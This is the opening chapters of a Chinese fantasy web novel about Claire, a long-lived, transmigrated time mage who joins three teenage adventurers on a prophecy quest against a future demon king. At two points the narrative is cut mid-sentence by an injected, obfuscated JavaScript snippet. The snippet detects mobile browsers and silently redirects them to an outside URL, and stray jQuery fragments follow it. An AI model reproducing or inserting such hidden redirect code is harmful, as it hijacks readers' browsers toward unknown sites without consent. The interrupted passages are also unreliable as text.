《魔王今天的访客》 1. 经典冒险故事 克雷尔早在一千年前就说过,沉迷漫画不是件好事。 但她显然没有吸取教训,否则也不会死皮赖脸,非要加入由三个少年组成的冒险小队了。 三人组里的领头是棕发少年,在五分钟前,她不小心掉进河里,现在身上的衣服还没干透,正在被同伴骂。 骂她的少年有着一双湖蓝色的眼睛,和银白色的头发,是三人组中最高最壮的那个,皮肤偏黑。 克雷尔感到疑惑,五分钟前,她亲眼看到银发迅速把棕发少年从河里捞出来,却在给对方拍去肩上水草时,不小心,一巴掌又把人拍河里去了。 所以克雷尔不是很明白,她骂棕发的底气是从哪来的。 “你们安静点!” 出声呵斥的是站在三步以外、鼻尖有痣的少年,她正在专心复原被水浸湿的地图。 克雷尔以为她会使用物理类型的魔法,比如干燥,然而她飞快掏出一本书翻了翻,对地图使用了时间魔法,将地图的状态调整到了还没浸湿前。 引得克雷尔挑了挑眉。 那可不是她这个年纪能轻易掌握的魔法。 多经典的三人组啊。 如果克雷尔决定画漫画,一定会把这三个人作为故事主角。 “地图干了吗?” “干了,我们距离魔王的城堡只有一半的路程了。” “预言里说我们必须先前往一座拥有巨大弓箭人像雕塑的小镇,然后才能去魔王城堡。” “但地图上没有标出雕塑,出了森林有好几个小镇,我们究竟往哪走?埃弗里你知道吗?” 名字叫做埃弗里的少年收起地图,摇了摇头,她不清楚哪个小镇上有巨大的雕像。 这是当然的。 克雷尔一眼就能辨认出,她们中骨龄最大的只有16岁,最小的15岁,对于平均寿命两三百年的种族来说,她们还太年轻了。估计是第一次出远门。 所以,这是由被预言选中的三个年轻人,组成的讨伐魔王的小队吗? 克雷尔都快怀疑自己身在某个漫画里了。 她从树上一跃而下,摘下黑色兜帽,适时插.进话题:“你们是在找拥有雕像的小镇?我可以带你们过去。” 三人组被吓了一跳。 棕发和埃弗里同时看向银发,银发摇头,面露警惕。 刚才在树上被树叶遮蔽了视线,克雷尔这才注意到,银发少年的种族是精灵。 精灵的五感比其她种族更为敏锐,更何况现在是森林中,属于精灵主场,一般来说,不可能发现不了第四个人的存在。 “不是你不够警惕,隐匿气息是我们的必修课程,”克雷尔从口袋里拿出证件,自我介绍,“克雷尔,异常生物魔法研究协会的成员,三天前来到这里,处理森林里新诞生的魔物。” 在冬季,太阳的庇护变弱,森林里诞生的魔物大多拥有魔抗属性,魔法对上它们不占优势,因此,暗中偷袭就成了消灭魔物的主要手段。 隐匿气息,不被魔物察觉,是研究所成员的基本素养。 埃弗里接过证件,翻开仔细查看,证件右下角用小字署着签发日期:2/17/163/25 是300年前了,证件上的照片和眼前这个黑兜帽也对得上,容貌完全一样,没有丝毫变化,看来这个人是长生种。 或许是身上衣服色调偏暗沉的原因,真人看起来要比照片里孤僻很多。 埃弗里打消了疑虑,将证件递还给她。 棕发见确认了身份,就笑着搭话:“我们一路走过来,都没遇到什么魔物,我本来还在疑惑,原来是你已经处理了。” “不止这个原因,”埃弗里说,“初冬时人们都会举行冬日狩猎,她们遇到弱小魔物,也会顺手处理掉。” “这么说小镇里也肯定在举行狩猎喽?如果我们运气好的话,还可以参与其中,说不定能趁机和她们打好关系,再打探一下魔王的银片。”银发跃跃欲试,精灵本身就是善于狩猎的种族。 克雷尔问:“魔王的银片?” “是的,据说那个小镇里的人们,从千年前就保管着魔王的银片,但它具体长什么样子,有什么用途,我们还不清楚。” 这真奇怪。 克雷尔活了上千年,从来没有听说过关于魔王的任何事情,如果魔王还未诞生,为什么千年前就保存着魔王的东西了呢? 埃弗里看她沉默不语,主动开口:“刚才忘记自我介绍了,我叫埃弗里,旁边棕发的是安西娅,银发是蒂娜,如果你愿意给我们带路,我们会非常感激。” 克雷尔说:“感激的话,可以让我加入你们吗?” 安西娅有些惊讶:“你为什么想加入?” “如你们所见,我的工作已经完成了,在接下来的一年里我都无事可做,而你们恰好提到了魔王,这个完全不存在的人物,就理解下一个魔法师的好奇心吧。” “确实不存在,预言里说的是未来的事,现在魔王还不是魔王呢,所以我们会在灾难发生前阻止她。” “所以你们是讨伐魔王小队?” “如果她已经做了坏事,我们会讨伐她的。” 克雷尔重复:“我们?” “对,我们三个,不包括你。”蒂娜心直口快,说完就被埃弗里斜了一眼。 安西娅开口:“……蒂娜没有恶意,只是,关于让不让你加入的问题,我们需要先开个内部会议。” 她们走到了离她两米远的地方,压低声音讨论。 克雷尔听得清清楚楚,她们也知道这点距离根本不够,只是做做样子。 让她加入的理由是,她是研究协会的成员,很强,能提供很大帮助。毕竟她们都不到二十岁,而对手是魔王,实力差距太大了。 不让她加入的理由很简单,预言里只有三个人。 经过半个小时的讨论,她们同意让她加入,只有一个要求:不到万不得已的境地,她不能提供任何帮助。 克雷尔当然同意了,她只是心生好奇,想近距离观看而已,又不是真想对付魔王。 在路上,安西娅跟她简单说明了情况,和大多数俗套的勇者魔王漫画一样,她们被预言选中,而其她人根本不相信她们的话,于是她们只好独自出发。 “其实和预言纸一起出现的,还有一份预言画,但画我们无法拿走,而且那上面的文字,根本不是世界上存在的任何一种,太怪了,压根看不懂。” “我把预言画的画面记下来了,”埃弗里停顿一下,“但我不擅长画画,没办法把它复刻出来。” “有纸张就够了,上面的内容,是根据预言画破译出的,”蒂娜咬牙说,“可惜那个破译的精灵早就去世了,别人根本不相信我们!” 那个精灵生前是活泼爱开玩笑的性格,以至于她们拿出了预言,别人也不信,只当这是个前人开的、无伤大雅的玩笑。 “是什么样的预言画?可以描述一下吗?”克雷尔问。 “哦,可以,如果你看到它,你立刻就会注意到,它用的是很特别的笔墨……” 埃弗里正说着,蒂娜突然出声打断她,“你们看那棵树!” 她的眉头皱得紧紧的,嘴唇抿起,顺着她的目光看过去,一棵因掉了叶子而变得光秃秃的树正在空地游荡。 ……游荡。 虽然速度很慢,但确实是在飘动着前进没错,离它不远的地方,几株暗紫色的拉布列花正在盛放。 这里的冬天和其她季节完全不同。 冬令刚过,拉布列花一夜之间长满了整个森林,到处都可以看到它那艳丽至极的紫色花朵,足有人脸那么大。 这种花只在冬季开放,从破土到开花只需一刻钟。它散发出一股暖烘烘的香气,闻起来像是烤栗子,吸引着各种小动物向它靠近。 凑近了看,就会发现在那七瓣花瓣上,若有若无地蒙着一层薄雾。 拉布列花有点像捕蝇草,不同的点是,当昆虫之类的小动物被吸引过来,被雾气吞噬后,雾气将会继承动物的可移动特性,不再只盘旋在花瓣上,而是向外扩散。 可以移动,就可以吞噬其她生物。 起初只是一团白色的烟雾,和林间雾气没什么两样,吞噬的 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克雷尔做了个“请”的动作。 正如先前所说,冬季的魔物拥有魔抗属性,三人组里,埃弗里擅长魔法,精灵族的天赋同样点在魔法上……在克雷尔看来,这可不只是“有点困难”。 安西娅快速分配任务:“行动缓慢、毫无目的,呵,看来它只顾着吞噬树了,埃弗里,你制造屏障困住它,蒂娜,接住这个。” 扔过去的是一个锥形药剂瓶。 她们在冬季进入森林,不可能毫无准备。 “要小心,虽然外表是颗树,但本质是雾气的凝聚态,雾气容易逸散,让它逃出来一点都……动作要快!” 人在行动时带起的风,必然会导致雾气逸散,只能快刀斩乱麻,尽可能快的解决。 “明白。”蒂娜拉开拉环,并未打开。 “好,3、2、1,蒂娜!” 安西娅声音落下的同时,蒂娜助跑一跃而起,安西娅眼也不眨地注视着她的动作,默数呼吸的频次,大喊:“埃弗里!” 在第一个音节喊出的那刻,埃弗里立刻释放屏障,将魔物围起,拦住雾气逸散的方向,蒂娜高高跃起,精准踩在屏障之上,将药剂瓶摔进去,脚尖点地离开,屏障立即收拢,将魔物困在其中。 药剂瓶里装着的是专门溶解魔物的气体药剂,呈深红色,瓶子炸开后立刻蔓延开来,眼看着红色逐渐占据了屏障内的大部分空间,三人这才松了口气,擦去额头上的汗珠。 摧毁魔物的过程其实很简单,但想做到根除,就非常考验对魔法掌握的精准度,和对身体的控制能力。 更重要的是,几乎是同时行动的两个人要有足够的默契,否则就需要非常准确的指挥。 她们这番操作是教科书级别的。 就算是魔法协会的成员,一般也是需要两到三人,且必须经过三个月以上的磨合,才能接下这个任务。 克雷尔是例外,她是长生种,寿命长,魔法也自然更强——魔物只是拥有魔“抗”而已,又不是免疫。 埃弗里正撑着膝盖大喘气,安西娅拿出备用的药剂撒在拉布列花的花朵上,腐蚀发出的滋滋声不绝于耳。 蒂娜用手肘捅了捅克雷尔,“你确定这是最后一个吗?” “当然。”克雷尔想了一下,问,“可能有点冒犯,但,你能把你的名字再告诉我一遍吗?” 克雷尔只记住了埃弗里,另外两个人还没把人和名字对上号。 “蒂娜。”精灵不太高兴地说。 “嗯,蒂娜,我刚刚就注意到了,你的弹跳力不错,精灵族在魔法上有天赋,没想到身体素质也这么强。” 蒂娜立刻高兴起来了,却又故作矜持,“我们精灵族有一句俗语,在玩石子棋时,你手里的卡拉石越多越好。” 克雷尔笑,“我知道这句话。” 石子棋是一款在精灵中非常流行的游戏,卡拉石是其中的王牌,用来连接棋盘上分散的棋子。 2. 暖灯与牛肉汤 克雷尔是穿越者,虽然时间太久,连她自己都快忘了。 但偶尔还是会突然想起,哦,原来我是穿越的。 现在正属于这种情况。 她穿越前的世界没有任何玄幻因素,更没有非人类种族,不过,描写异世界异种族的作品非常多。 所以穿越过来的克雷尔接受良好,随遇而安。唯一让她困扰的是,两个世界的语言不互通,她花了十来年的时间才彻底掌握这门语言。 蒂娜所属的种族音译过来应该是“奥科莱托”,字面意思是“从林的孩子”,是克雷尔自作主张把它翻译为“精灵”。 因为这个种族和她们那漫画小说里描写的“精灵”太像了。 极短的头发,能让她们在快速穿梭于林间时不被树枝挂到;如果她们在野外遇到魔兽,强壮有力的四肢能够帮助她们快速致胜;极具爆发力的肌肉,哪怕遇到了魔抗属性的魔物,在魔法不起作用的情况下,依旧可以顺利脱身。 单看骨龄,蒂娜是三人中年纪最小的那个,却是最高最壮的那个。 总不可能是因为安西娅和埃弗里不懂“卡拉石越多越好”的道理。 只能说是种族天赋加成。 她们是货真价实的“丛林的孩子”,天生适合野外生活,但不能因此说她们深受母神阿卡姆托的偏爱。 精灵是所有智慧种族中寿命最短的那个,只有两百年左右。 克雷尔第一次知道的时候还为此惊讶了一下,毕竟这个世界的人类都有三百年的寿命。 只能说阿卡姆托是平等的,就像是石子棋在开始前,对弈双方拥有的棋子是完全不同,且分量相等的。 克雷尔很久没玩过石子棋了,蒂娜执意要来一局,理由是“我们一时半会也离不开”。 目前市面上的药剂要想彻底腐蚀拉布列花,至少需要半个小时。 克雷尔拒绝了她,“我已经完全忘记规则了。” 石子棋的优点是方便,只需要有一些卡拉石——这是魔火石,所有精灵都会随身携带,再随意捡一些石子,就可以开始游戏。 道具很简单,规则却十分复杂,丛林狩猎往往需要长时间蛰伏,石子棋正是为了锻炼精灵的耐心而诞生的游戏。 换句话说,就是又繁琐又无聊。它在精灵族的地位有点像是“趣味数学题”,侧重功能性。 “好吧,”蒂娜把卡拉石放回口袋,“我还以为长生种都记忆非常好的。” “这完全是误解。” 蒂娜耸了耸肩,起身走到埃弗里身边,蹲下等了几分钟,见埃弗里没有睁开眼睛,又走到安西娅身边蹲下,询问时间。 如此重复几遍之后,所有拉布列花都变成了一堆灰烬,空气中刺鼻的味道逐渐散去。 埃弗里睁开眼,走到安西娅旁边,蹲下捻了一点灰土,放在鼻尖闻了闻。 安西娅弯着腰问她:“这样应该就可以了吧?” “按照书上说的,是这样就行了,不过保险起见……”埃弗里略做思考,从包里拿出来一张羊皮纸,盖在灰土上,并用魔法压住羊皮纸,“现在没问题了。” 她站起身,揉了揉脖子,“更高阶的魔法我还没学会,但有时候用一点附加手段,也能有相同的效果。如果20小时内羊皮纸被捅破了,说明拉布列花重新破土了,如果没有感受到异常,那就不用管它。” “接下来要辛苦克雷尔带路了。” 预言画里对此只是一笔带过,预言里倒是有描述,却也十分简略,只说【魔王的银片】所在的小镇拥有一尊巨大的石像,非常显眼,如同迷宫的灯塔。 在克雷尔的印象中,符合这个描述的只有一个小镇,那就是森林正南方的镇子。 石像起到导向标的作用,只要不深入森林的腹地,就可以随时通过石像判断自己的方位。 三人组自北向南穿越森林,克雷尔由外向里清除魔物,她们正是森林腹地相遇的。 这里看不到石像,否则她们压根不需要克雷尔带路,自己就可以摸索着过去了。 森林面积很大,行走到日暮天黑时,才远远地看到一点石像的轮廓。 安西娅在心里估算了一下时间,说:“到达镇上至少还要两三个小时,那时夜已经深了,不如我们先在这里吃完晚饭再过去,也省得打扰镇上的人。” 说完又看向克雷尔,“你觉得呢?” “我没意见。” 赶了好几个小时的路,几人早就饿了,这种情况下吃饭只求快速填饱肚子,没有人愿意去做精细耗时的餐食。 把黄油块扔进魔法速热平底锅里,融化后放入面包片,煎到双面金黄,培根肉扔进去,煎至卷曲,撒上黑胡椒粉即可。 培根油多,全部取出后,锅里热油依旧滋滋作响,再把烤好的鹿肉切片,同样扔进去。 另支起一口锅,冷冻的番茄土豆牛肉块硬邦邦得像石头,丢进锅里,把水加至七分满,埃弗里又切了个新鲜的西红柿进去。 魔法像不要钱一样往里加,不一会儿汤就咕嘟咕嘟冒泡,升腾的热气伴随着牛肉汤的香气四溢,把她的脸熏得通红。 挂在树枝上的魔法灯由克雷尔提供,灯光偏暖,夜晚的薄雾、人呼出的热气、和热汤的香气共同交织成一张暖融融的毛毯,让人几乎要满足地睡过去。 安西娅吃饱后靠在树上犯懒,眼睛半闭,埃弗里正盯着她心爱的汤,发誓在西红柿块彻底融化在汤里之前,不允许任何人动它。 蒂娜则往面包上抹树莓酱,大口嚼着面包,不太高兴地对克雷尔说:“我发现你一直往我这边看,有什么话就直说,你这样很奇怪!” 精灵的五感确实敏锐,克雷尔不打算解释太多,看了一眼地上的果酱瓶子,顺势说:“只是有点意外。大多数精灵都不爱吃酸的,你是我见过第二个喜欢吃酸的精灵。” 精灵祖祖辈辈生活在丛林里,果实酸代表未成熟,肉类酸代表已腐败。刻在基因里的东西没那么容易改变,即使是现在,大多数精灵仍对这种口味敬谢不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559894|171361||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 敏。 “第一个是谁?”蒂娜吃完了面包,又拿出夹了片滋滋冒油的鹿肉,一口咬下去被烫得倒吸冷气,一边拼命吸气降温,一边含糊地问。 “我的一个朋友。” “哦,我见过第一个喜欢吃酸的是夏林,我们那好几百号人,就我们俩喜欢——”蒂娜正说着,表情突然警惕起来,“等会,你该不会是她派来跟踪我们的吧?名义上是给我们引路,但实际上是想把我们骗回聚集地?” 听她的意思,夏林应该是个成年人。克雷尔问:“你又不是小孩,有必要跟踪你吗?” 总体寿命两百年,十几岁的精灵算是少年还是孩童呢?克雷尔其实不太确定,她很久没有和精灵、或者人类打交道了。 不过她隐约记得,自己在这个年纪时一点也不愿意被称作“小孩”。 “当然有必要,因为、因为……”蒂娜眼神变得躲闪起来,含糊其辞。 埃弗里加入对话,仍是注视着汤,头也不转一下,“因为我们把放在圣地的预言纸偷了出来——应该不会有人注意到。” “别说那么直接!我们只是带上预言纸一起冒险而已,就像我们带上克雷尔一样,它是我们的第四、”蒂娜看了一眼克雷尔,“第五位旅行同伴。” “很荣幸你肯定了我旅行同伴的身份,并且把我排在那张纸之前。” 昨天蒂娜还不愿意让她加入呢。克雷尔慢条斯理地补充,“但很遗憾,这就是偷。” “哪怕我们精心制作了足以以假乱真的赝品?”蒂娜仍要为自己开脱。 “只是从临时起意的偷变成有预谋的偷而已。” 埃弗里开始盛汤了,从容地回答:“对,就是偷。你要看下我们偷过来的预言纸吗?现在那张纸就在我身上放着。” “不必了,你现在也腾不开手。” “好吧,既然埃弗里这么说,”蒂娜心不甘情不愿地接过埃弗里递过来的汤,嘬了一口,才继续说,“本来我们想把预言画也一起偷的,可惜抠不下来,只能让埃弗里把它的内容背下来了。” “这样。不过你可以放心,我说的那个朋友早就去世了,绝对不是夏林。” “啊!抱歉!” “没关系,活得久了就是会这样,我并不是很在意。” 蒂娜仔细确认了她的表情,像是为了弥补或是表示亲近,端着汤挪到她旁边,“你那个朋友叫什么名字呢?我的意思是,精灵的聚集地离得都很近,说不定我听说过她……” 克雷尔把目光从热气腾腾的汤碗上移开,望向远处,“从我们这里已经可以看到镇子里的石像了,应该是你们要找的那个吧?” 蒂娜果然立刻忘记原本的话题,站起身,顺着她的视线看过去。 其实还有一大段距离,但从她们这个角度,能隐约看到石像的轮廓。 那是一个手持弓箭的人像。 和大多数的狩猎石像一样,箭矢并不指向天空,弓箭的高度与肩膀齐平,肌肉隆起,弓弦紧绷。 3. 精灵有句老话 不难看出,安西娅是三人中的领队,擅长组织与调配,埃弗里魔法精湛,是学院派的天才,蒂娜则长于实践,性格大大咧咧,感觉是容易受骗的类型。 克雷尔的那个精灵朋友和蒂娜完全不同,脑筋活泛,爱开玩笑,只有她骗别人的份。 绝不可能被别人一句话就转移了话题。 蒂娜眯着眼睛仔细看,“应该是这个吧,太远了,看不清,预言里怎么形容的我也忘了……这种狩猎像都长得很像。” “那就只能抵达后再确认了。” 蒂娜揉了揉眼,“只能这样了。” 抵达时夜色已深,整个镇子只有天上的星星和自助旅店的灯还亮着。确认过石像后,四人进入旅店,简单登记,并取了四张连号的房牌。 第二天,安西娅第一个醒来,她下楼和旅店的其她客人简要聊了几句,然后外出。 蒂娜醒来后去厨房找了几个三明治,简单垫垫肚子,绕着镇子跑了十几圈,锻炼并熟悉路况。 锻炼结束,推开旅店大门,正碰到坐在大厅餐桌旁,准备吃早餐的埃弗里和克雷尔,于是快速上楼冲了个澡,下来一起吃。 吃到一半,安西娅也回来了,接过埃弗里递来的早餐。 她饿坏了,吃了两个煎蛋后,才开始往面包上涂抹炼乳。 “我和镇子里的老人们交涉了下,当我提到魔王的银片时,她们显得很犹豫,看来她们手里确实有,但没那么容易交给我们。 “对了,现在正是狩猎季的收尾阶段,她们十一点钟会出发去打猎。” 蒂娜坐直身体。 “放心,我已经替你报名了,你一会儿直接过去,就说‘我是安西娅先前介绍过的蒂娜’,不过狩猎来的猎物都归镇子。” “没问题!” 先前在森林里急着赶路,别说狩猎了,都是避开动物们行走的,路上顶多看到一两只野鸡,还不能抓来烤。 “埃弗里,你可以帮忙检修一下镇子里的魔法用具吗?她们似乎很苦恼。” 埃弗里点了头,于是安西娅继续说:“至于我,我会帮助委员会统计今年冬季所需的肉类总数,并参与规划——在拿到银片前,我们要在镇子里呆一段时间,不能白吃白拿,总该给予回报。” 就算她们什么都不做也没关系,谁会强制要求一群孩子做事呢? 当然,克雷尔不算在内。 安西娅少见地为难了下,把目光放在克雷尔身上,“克雷尔你打算和我们中的谁一起行动呢?或者在旅店好好休息一下吧,这一路上辛苦你了。” 她唯独没有给克雷尔安排任务。 可以在未经同伴允许的情况下,主动提出要帮镇子的忙,是因为她们非常熟悉亲近,很清楚对方想要做什么,不喜欢做什么。 可她和克雷尔昨天才认识,不了解对方。 “我和埃弗里一起吧,我也更擅长魔法。” 安西娅松了口气,笑道:“看来只有蒂娜一个人去狩猎像那里了。” 镇子很小,井字形布局,井字正中是委员会,东北方向是狩猎像,也是狩猎小队的出发点。 其她三个人都要去委员会。 魔法用具在经过一年的使用,往往会老化,还有“冰柜”等消耗品,也需要重新进行扩容才能使用。 这些需要维修的用具都堆在委员会的仓库里。 “帮大忙了,如果只有我自己,肯定需要好几天。”埃弗里正在拆解一个草绿色的烤箱,把拆出的黑色方块递给克雷尔。 克雷尔往里注入魔力后,埃弗里把它塞了回去,重新拼装好。 魔法用具没那么容易坏,大多是魔力耗尽了,重新填充就行,十几岁少年的魔力就像个小水坑,里面的水根本不够用。 “感觉我们有点像维修工,对吧?”埃弗里擦了擦汗。 魔法有点类似于前世的电力,所有人都拥有且能使用电力,但不是所有人都从事电力相关的工作。 专职魔法师分为好几个种类,其中生活类工种,又细分为发明、制作、维修魔法用具等。 “说起来你可能不信,我魔法课必修的是进攻类。”埃弗里说,虽然第一次在克雷尔面前施展,用的是屏障这种防御魔法。“选修选的恰好是魔法用具维修,反正不难,自己修比去找专职魔法师要快。” “我也选修过这门课。” 休息的间隙,安西娅为她们送来一壶红茶,然后回到正厅,继续和镇子里的成人们做统计工作。 “她总是能轻易融入那种场合。”埃弗里说。 “哪种场合?” “那种能和很多长辈对话,并且不因为年龄而被特别关照的场合。其实我有点羡慕,总觉得,这样就是被当做大人对待了。” “但你不是。” “没错,要等我的身体成年,至少还要二十年,而我还在为这种事情苦恼,说明我的心智也没有成熟。” 克雷尔稍加思索:“知道吗?那几个‘大人’年纪加在一起,也没有我大,而现在我在和你对话,所以你已经进入你想要的那种场合了。” 埃弗里笑了,“谢谢你的安慰。” 克雷尔对待她们这些未成年,确实和对待成年人没什么不同。 成人总会想着要关照孩子,只是对于长生种来说,十六岁大概和一百六十岁没有太大区别,都太年轻了。 “说到这个,克雷尔是什么种族的呢?大多数长生种都有着非常明显的特点,但你看起来和人类没有区别。” “是个好问题。” 埃弗里等了半分钟,也没等到下文,用眼神催促了下。 “是个好问题,因为我也不知道。” 她穿越前是人类,显而易见;她是身穿,所以寿命应该是一百二十年;这里的人能活三百年,如果她在三百岁那年死了,也合情合理。 但她已经活了上千年了。 属于她的时间,仿佛永远定格在刚穿越过来的时刻,没有前进过。 掌管她时间的巨蛇肯定是跑去冬眠了。 把所有魔法用具都维修完成,天已经彻底黑了,安西娅那边也和年迈的猎手们,完成了基础狩猎方程式的构建,只等今年的第一批狩猎者归来。 “蒂娜她们也该回来了,都这个点了。” “今天收获颇丰,猎物马上就清点完成了,预计一个小时后回到镇上。” 狩猎队停驻在河边,正在清点猎物和弓箭。 带头的青年身高将近两米,在人群中颇为醒目,她把人们数了又数,怎么都缺了一个,缺的还正是那个新加入的年轻精灵。 她转了一圈,没找到,想起精灵爱上树,这才往上面看,却发现蒂娜正蹲在离她不远的一棵树上,同样抬着头往上看。 她走过去,用力踹树一脚,眼看着树上的人身形晃了晃,却又立刻站稳,不太高兴地怒瞪着她。 “都开始清点了,马上就走,你还在树上干什么?” “天上有一群好大的雁。”蒂娜意犹未尽,又抬头看了一眼,把弓箭扔下去。 领头接住弓箭袋,扔给清点的人,也看过去,同样感叹:“是啊,确实好大好肥。” 不猎取天空之上的动物,这是她们心照不宣的规则。 陆地上的弓箭从不指向天空,因为那是斯凯奇诺的领域。 “今天是吃不到了,过几天斯凯奇诺开城做交易,说不定能用我们的猎物换几只大雁回来。” “过几天我们都要走了。”蒂娜撇嘴。 领队思考:“嗯……那今天给你留一只最肥的猪腿怎么样?” “我要最肥的羊腿!” “行,下来吧你。” 夜晚是桑葚一样的深紫色,高低各异的树投下的阴影 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559895|171361||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,是桑葚上深浅不一的沟壑,人们提着明亮的灯,驾着车,在沟壑中行驶。 出来迎接的人也提着灯,两束灯光交汇,停住不动了。 “就等你们了,怎么样?” “不错,可以放心办庆祝会。” “你这话说的,不管收获怎么样,庆祝会都是要办的——迎冬哦。” 两簇灯光聚成一簇,绕过狩猎像,停在委员会前的空地上。 灯火通明。 衣服上沾血多的猎手去换了衣服,没什么血的洗了手就直接往后面去,有准备好的烧烤宴会等着她们。 留守镇里的人们负责二次清点,将猎物分门别类称重,并拿出一部分切开腌制,作为烧烤的重头戏。 蒂娜拿到了那只最肥的羊腿,快活地跑向同伴们。 同伴们正在闲聊,远远看见她挥了挥手,等她到后继续说:“刚才称重完成,也已经计算过了,今年的狩猎可以持续一周。” “好耶!” 埃弗里泼了冷水:“我们不会停留那么久。” 蒂娜嘴角立刻耷拉下来。 安西娅笑,“明天的事明天再说,你还不赶紧去把那只羊腿烤了?这么大只,至少要一个小时呢。” 蒂娜去领烧烤架,转头看了她们一眼,“你们要自己烤还是吃现成的?” 埃弗里想了想:“自己烤吧,现成的已经吃了不少了。” 负责分发的镇民乐呵呵的,问她们:“猪肉羊肉还是野鸡肉鹿肉?今年的猪肉是真不错,一个月的时候就给骟了,肉质那叫一个好。” 养殖并不少见,很多人家都会饲养,在猎户家里,也会饲养猪仔,等到满月龄之后阉割放归山上,冬季再进行猎取。经过充分野化的猪肉质更加紧实,提早阉割又去除了大部分腥膻味。 蒂娜:“那就再来两块猪肉,再来个烧烤网,一个架子不够用。” 埃弗里:“我也多来两块猪肉吧,别的肉也都来点。” 安西娅:“我只要猪肉。” 她整个下午都被阉猪方程式折腾得够呛。 根据捕猎回来的阉猪们的数量和体重,能后判断出这个冬季的狩猎上限。 有一套非常严密复杂的计算方程式,严密到什么程度呢?反正从小和狩猎打交道的蒂娜,至今连那个方程式需要几则运算都搞不清楚。 不过长辈们提得多了,她至少明白底层逻辑是什么,猪位于食物链的中上端,所以是很好的参考标杆。 简单来说,就是,如果放出去的猪数量很多,抓回来的数量非常少,说明森林里的顶级捕食者多,动物生存压力大。 如果能抓回来很多,且个个吃得特别肥,说明食物丰富。 以小见大,能判断森林的动物现状,进而推断猎取量,满足人们狩猎需求的同时,做到对森林“无创”。 其实蒂娜觉得没必要,除非所有猎人每天都去森林捕猎,每天捕24小时,或者用魔法扫荡,否则怎么捕猎都在森林的承受能力之内。 不过有点仪式感也挺好,反正闲着也是闲着,而且阉过的猪肉确实更好吃了。 擅长狩猎的人往往也擅长烧烤,简单烹饪,以激发食材的本味。 安西娅烤一片五花肉要加三次料,腌料一次,烧烤时刷酱一次,烤完洒料又一次,蒂娜对她这个纯粹吃调料的做法很看不惯。 埃弗里的做法又太教科书了,克雷尔中规中矩,没有让她评判的机会。 蒂娜是只洒盐派,吃一个原汁原味。 埃弗里幽幽地说:“追求本味的话,应该清炖吧。” “我们精灵族有一句老话。”蒂娜说完故意停顿,用眼尾看克雷尔,见克雷尔摸不着头脑,才得意地说下去,“如果你只剩下最后一块羊肉,也应该要烤着吃。” “……” “……精灵族的老话可真多啊。” 4. 魔王的银片 蒂娜:“这么说是有依据的!” 炖煮能减少食材的分量流失,烤制会有油脂溢出,导致分量大幅缩水。 就剩下最后一块了,也要烤着吃,可见有羊腿多适合烤。 烤好后蒂娜给同伴们各分了一块,虽然再原汁原味,到安西娅手里,也逃不过被撒料蘸酱的命运。 埃弗里接过来后裹上生菜,用一只手拿着吃,另一只手继续翻阅腿上的书本。 倒不是有多热爱学习,她看的是食谱。 蒂娜问她:“好吃吗?” “好吃,味道很好。” “那你还看什么书!”蒂娜把她的书合上,“明明最擅长烧烤的人就在这,为什么要去看书?” “不一样,这是今年学校图书馆评选出的,阅读时长排行第一的书。” 克雷尔意外:“你们还偷了学校图书馆的书?” “是借,”埃弗里纠正,“我使用了借阅证。正规手续办理的借阅证。” “顺便一提,这本书借阅高峰期是期末测验前,是让学生们放弃复习也要看的食谱,经过大众认可的口感不会差。” “会差的。”安西娅幽幽说。 “看,安西娅也站在我这边!”蒂娜高兴了。 “倒不是站在谁那边的问题,只是你们斗嘴的功夫……埃弗里,你的火有点过于旺了。” 烤架上的肉已经初见炭形,烧焦的部位黑黢黢的。 埃弗里甩了几个时间魔法上去,效果不佳,只是从黑色变成了深褐色,从完美的炭变成了燃烧不充分的炭而已。 更糟的是,这一半焦黑,另一半还生着,色泽红润,新鲜得像是刚切下来一样。 “我来吧。”克雷尔说,她接过烤架,仔细看了下,这肉大概没法弥补了,只能还原成烤前的状态,“重新烤吧。” 埃弗里丢下食谱,在蒂娜的帮助下,把肉烤上去,并减弱了火力,转头向克雷尔感叹:“你的时间魔法运用得真熟练,我最多只能复原到十分钟前。” “你这个年纪已经很厉害了。” 埃弗里摇头,“魔法课的老师说,使用时间魔法最厉害的魔法师,能够将物体还原到五百年前的状态,我还差得远呢。” 克雷尔笑了笑。 那个魔法师指的应该是她。 时间魔法确实是她掌握最娴熟的魔法类型,天分是一方面,刻苦练习是另一方面。 在很长一段时间里,她几乎什么都不做,只顾着练习时间魔法,其她魔法的进展一直停滞不前。 时间魔法确实好用。 虽然它的局限之处非常多,并且不能用在人身上。 克雷尔已经很久没用过了。 埃弗里发出了相同的感慨,“可惜不能用在活物身上,且时间只能后退,不能前进,不过也能理解,如果可以的话,世界就彻底乱套了。” “是这样。比如,可以对埃弗里用时间魔法,让她的时间快进到一个月后,这样我们就能立刻知道,魔王的银片到底在哪里了。”安西娅说。 埃弗里转头看了她一眼,若有所思地喝了口饮料。 四人住在旅馆的二楼,深夜时分,埃弗里披上衣服起夜,发觉门缝里透进了灯光,干脆把衣服穿好,打开门走出去。 “还没睡?深夜是卡兹奥尔的领域。” 那人回过头,笑着接话,“那就请卡兹奥尔告诉我们银片的下落吧。” 卡兹奥尔是创世史诗里掌管夜晚的巨蛇,同时也掌管时间。 安西娅说着往旁边挪了挪,腾出一个位置。 旅店坐北朝南,采光良好,所以在走廊里放置了一些沙发,方便旅客们午后晒太阳犯懒,消磨时间。 